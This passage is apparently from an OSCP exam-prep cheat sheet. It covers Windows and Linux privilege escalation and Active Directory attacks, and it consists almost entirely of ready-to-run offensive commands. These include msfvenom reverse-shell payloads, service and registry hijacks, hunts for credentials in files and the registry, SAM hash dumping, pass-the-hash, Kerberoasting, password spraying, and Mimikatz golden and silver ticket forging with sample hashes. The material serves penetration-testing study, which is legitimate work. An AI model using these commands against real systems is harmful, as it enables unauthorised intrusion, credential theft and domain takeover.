sc config <service> <option>="<value>" #change the path to the reverseshell location
sc start <servicename>

Unquoted Service Path

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """  #Displays services which has missing quotes, this can slo be obtained by running WinPEAS
#Check the Writable path
icalcs "path"
#Insert the payload in writable location and which works.
sc start <servicename>

Insecure Service Executables

#In Winpeas look for a service which has the following
File Permissions: Everyone [AllAccess]
#Replace the executable in the service folder and start the service
sc start <service>

Weak Registry permissions

#Look for the following in Winpeas services info output
HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl]) #This means we have ful access

accesschk /acceptula -uvwqk <path of registry> #Check for KEY_ALL_ACCESS

#Service Information from regedit, identify the variable which holds the executable
reg query <reg-path>

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
#Imagepath is the variable here

net start <service>

DLL Hijacking



Autorun


#For checking, it will display some information with file-location
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

#Check the location is writable
accesschk.exe \accepteula -wvu "<path>" #returns FILE_ALL_ACCESS

#Replace the executable with the reverseshell and we need to wait till Admin logins, then we'll have shell


AlwaysInstallElevated


#For checking, it should return 1 or Ox1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

#Creating a reverseshell in msi format
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> --platform windows -f msi > reverse.msi

#Execute and get shell
msiexec /quiet /qn /i reverse.msi


Schedules Tasks


schtasks /query /fo LIST /v #Displays list of scheduled tasks, Pickup any interesting one
#Permission check - Writable means exploitable!
icalcs "path"
#Wait till the scheduled task in executed, then we'll get a shell


Startup Apps


C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp #Startup applications can be found here
#Check writable permissions and transfer
#The only catch here is the system needs to be restarted


Insecure GUI apps


#Check the applications that are running from "TaskManager" and obtain list of applications that are running as Privileged user
#Open that particular application, using "open" feature enter the following
file://c:/windows/system32/cmd.exe 


SAM and SYSTEM


    

  • Check in following folders
    • 



# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

C:\windows.old

#Regex, first go to c:
dir /s SAM
dir /s SYSTEM


    

  • Obtaining Hashes from SYSTEM and SAM
    • 



impacket-secretsdump -system SYSTEM -sam SAM local #always mention local in the command
#Now a detailed list of hashes are displayed


Passwords


Sensitive files


%SYSTEMROOT%\repair\SAM  
%SYSTEMROOT%\System32\config\RegBack\SAM  
%SYSTEMROOT%\System32\config\SAM  
%SYSTEMROOT%\repair\system  
%SYSTEMROOT%\System32\config\SYSTEM  
%SYSTEMROOT%\System32\config\RegBack\system  

findstr /si password *.txt  
findstr /si password *.xml  
findstr /si password *.ini  
Findstr /si password *.config 
findstr /si pass/pwd *.ini  

dir /s *pass* == *cred* == *vnc* == *.config*  

in all files  
findstr /spin "password" *.*  
findstr /spin "password" *.*


Config files


c:\sysprep.inf  
c:\sysprep\sysprep.xml  
c:\unattend.xml  
%WINDIR%\Panther\Unattend\Unattended.xml  
%WINDIR%\Panther\Unattended.xml  

dir /b /s unattend.xml  
dir /b /s web.config  
dir /b /s sysprep.inf  
dir /b /s sysprep.xml  
dir /b /s *pass*  

dir c:\*vnc.ini /s /b  
dir c:\*ultravnc.ini /s /b   
dir c:\ /s /b | findstr /si *vnc.ini


Registry


reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

### VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"  
reg query "HKCU\Software\TightVNC\Server"  

### Windows autologin  
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"  
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"  

### SNMP Paramters  
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"  

### Putty  
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"  

### Search for password in registry  
reg query HKLM /f password /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s


RunAs - Savedcreds


cmdkey /list #Displays stored credentials, looks for any optential users
#Transfer the reverseshell
runas /savecred /user:admin C:\Temp\reverse.exe


Pass the Hash


#If hashes are obtained though some means then use psexec, smbexec and obtain the shell as different user.
pth-winexe -U JEEVES/administrator%aad3b43XXXXXXXX35b51404ee:e0fb1fb857XXXXXXXX238cbe81fe00 //10.129.26.210 cmd.exe


Linux Privilege Escalation


TTY Shell


python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo 'os.system('/bin/bash')'
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'


Basic


find / -writable -type d 2>/dev/null
dpkg -l #Installed applications on debian system
cat /etc/fstab #Listing mounted drives
lsblk #Listing all available drives
lsmod #Listing loaded drivers



Automated Scripts


linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
Mestaploit: multi/recon/local_exploit_suggester


Sensitive Information


cat .bashrc
env #checking environment variables
watch -n 1 "ps -aux | grep pass" #Harvesting active processes for credentials
#Process related information can also be obtained from PSPY


Sudo/SUID/Capabilities


💡 GTFOBins: [https://gtfobins.github.io/](https://gtfobins.github.io/)


sudo -l
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null


Cron Jobs


#Detecting Cronjobs
cat /etc/crontab
crontab -l

pspy #handy tool to livemonitor stuff happening in Linux


NFS


##Mountable shares
cat /etc/exports #On target
showmount -e <target IP> #On attacker
###Check for "no_root_squash" in the output of shares

mount -o rw <targetIP>:<share-location> <directory path we created>
#Now create a binary there
chmod +x <binary>


Post Exploitation




This is more windows specific as exam specific.




💡 Run WinPEAS.exe - This may give us some more detailed information as no we’re a privileged user and we can open several files, gives some edge!


Sensitive Information


Powershell History


type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

#Example
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 


Searching for passwords


dir .s *pass* == *.config
findstr /si password *.xml *.ini *.txt


Searching in Registry for Passwords


reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s


💡 Always check documents folders, i may contain some juicy files


KDBX Files


#These are KeyPassX password stored files
cmd> dir /s /b *.kdbx 
Ps> Get-ChildItem -Recurse -Filter *.kdbx

#Cracking
keepass2john Database.kdbx > keepasshash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt keepasshash


Dumping Hashes


    

  1. Mimikatz
    2. 

  2. If this is a domain joined machine, then follow Post-exp steps for AD.
    3. 





Active Directory Pentesting


Enumeration


    

  • To check local administrators in domain joined machine
    • 



net localgroup Administrators


Powerview


Import-Module .\PowerView.ps1 #loading module to powershell, if it gives error then change execution policy
Get-NetDomain #basic information about the domain
Get-NetUser #list of all users in the domain
# The above command's outputs can be filtered using "select" command. For example, "Get-NetUser | select cn", here cn is sideheading for   the output of above command. we can select any number of them seperated by comma.
Get-NetGroup # enumerate domain groups
Get-NetGroup "group name" # information from specific group
Get-NetComputer # enumerate the computer objects in the domain
Find-LocalAdminAccess # scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domain
Get-NetSession -ComputerName files04 -Verbose #Checking logged on users with Get-NetSession, adding verbosity gives more info.
Get-NetUser -SPN | select samaccountname,serviceprincipalname # Listing SPN accounts in domain
Get-ObjectAcl -Identity <user> # enumerates ACE(access control entities), lists SID(security identifier). ObjectSID
Convert-SidToName <sid/objsid> # converting SID/ObjSID to name 

# Checking for "GenericAll" right for a specific group, after obtaining they can be converted using convert-sidtoname
Get-ObjectAcl -Identity "group-name" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights 

Find-DomainShare #find the shares in the domain

Get-DomainUser -PreauthNotRequired -verbose # identifying AS-REP roastable accounts

Get-NetUser -SPN | select serviceprincipalname #Kerberoastable accounts


Bloodhound


    

  • Collection methods - database
    • 



# Sharphound - transfer sharphound.ps1 into the compromised machine
Import-Module .\Sharphound.ps1 
Invoke-BloodHound -CollectionMethod All -OutputDirectory <location> -OutputPrefix "name" # collects and saved with the specified details, output will be saved in windows compromised machine

# Bloodhound-Python
bloodhound-python -u 'uname' -p 'pass' -ns <rhost> -d <domain-name> -c all #output will be saved in you kali machine


    

  • Running Bloodhound
    • 



sudo neo4j console
# then upload the .json files obtained


PsLoggedon


# To see user logons at remote system of a domain(external tool)
.\PsLoggedon.exe \\<computername>


Attacking Active Directory Authentication


💡 Make sure you obtain all the relevant credentials from compromised systems, we cannot survive if we don’t have proper creds.


Password Spraying


# Crackmapexec - check if the output shows 'Pwned!'
crackmapexec smb <IP or subnet> -u users.txt -p 'pass' -d <domain> --continue-on-success #use continue-on-success option if it's subnet

# Kerbrute
kerbrute passwordspray -d corp.com .\usernames.txt "pass"


AS-REP Roasting


impacket-GetNPUsers -dc-ip <DC-IP> <domain>/<user>:<pass> -request #this gives us the hash of AS-REP Roastable accounts, from kali linux
.\Rubeus.exe asreproast /nowrap #dumping from compromised windows host

hashcat -m 18200 hashes.txt wordlist.txt --force # cracking hashes


Kerberoasting


.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping from compromised windows host, and saving with customname

impacket-GetUserSPNs -dc-ip <DC-IP> <domain>/<user>:<pass> -request #from kali machine

hashcat -m 13100 hashes.txt wordlist.txt --force # cracking hashes


Silver Tickets


    

  • Obtaining hash of an SPN user using Mimikatz
    • 



privilege::debug
sekurlsa::logonpasswords #obtain NTLM hash of the SPN account here


    

  • Obtaining Domain SID
    • 



ps> whoami /user
# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-1987370270-658905905-1781884369-1105" then the domain   SID is "S-1-5-21-1987370270-658905905-1781884369"


    

  • Forging silver ticket Ft Mimikatz
    • 



kerberos::golden /sid:<domainSID> /domain:<domain-name> /ptt /target:<targetsystem.domain> /service:<service-name> /rc4:<NTLM-hash> /user:<new-user>
exit

# we can check the tickets by,
ps> klist


    

  • Accessing service
    • 



ps> iwr -UseDefaultCredentials <servicename>://<computername>


Secretsdump


secretsdump.py <domain>/<user>:<password>@<IP>


Lateral Movement in Active Directory


psexec - smbexec - wmiexec - atexec


    

  • Here we can pass the credentials or even hash, depending on what we have
    • 



psexec.py <domain>/<user>:<password1>@<IP>
# the user should have write access to Admin share then only we can get sesssion

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

smbexec.py <domain>/<user>:<password1>@<IP>

smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

wmiexec.py <domain>/<user>:<password1>@<IP>

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>
#we passed full hash here


winrs


winrs -r:<computername> -u:<user> -p:<password> "command"
# run this and check whether the user has access on the machine, if you have access then run a powershell reverse-shell
# run this on windows session


crackmapexec


    

  • If stuck make use of Wiki
    • 



crackmapexec {smb/winrm/mssql/ldap/ftp/ssh/rdp} #supported services
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success # Bruteforcing attack, smb can be replaced. Shows "Pwned"
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success | grep '[+]' #grepping the way out!
crackmapexec smb <Rhost/range> -u user.txt -p 'password' --continue-on-success  #Password spraying, viceversa can also be done
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --shares #lists all shares, provide creds if you have one
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --disks
crackmapexec smb <DC-IP> -u 'user' -p 'password' --users #we need to provide DC ip
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sessions #active logon sessions
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --pass-pol #dumps password policy
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sam #SAM hashes
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --lsa #dumping lsa secrets
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --ntds #dumps NTDS.dit file
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --groups {groupname} #we can also run with a specific group and enumerated users of that group.
crackmapexec smb <Rhost/range> -u 'user' -p 'password' -x 'command' #For executing commands, "-x" for cmd and "-X" for powershell command

#crackmapexec modules
crackmapexec smb -L #listing modules
crackmapexec smb -M mimikatx --options #shows the required options for the module
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz #runs default command
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz -o COMMAND='privilege::debug' #runs specific command-M 


Pass the ticket


.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$


Golden Ticket


.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
misc::cmd
klist
dir \\<RHOST>\admin$


   



      


  
      

      

        

          

            

  
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        OSCP Cheatsheet by Sai Sathvik
      



    
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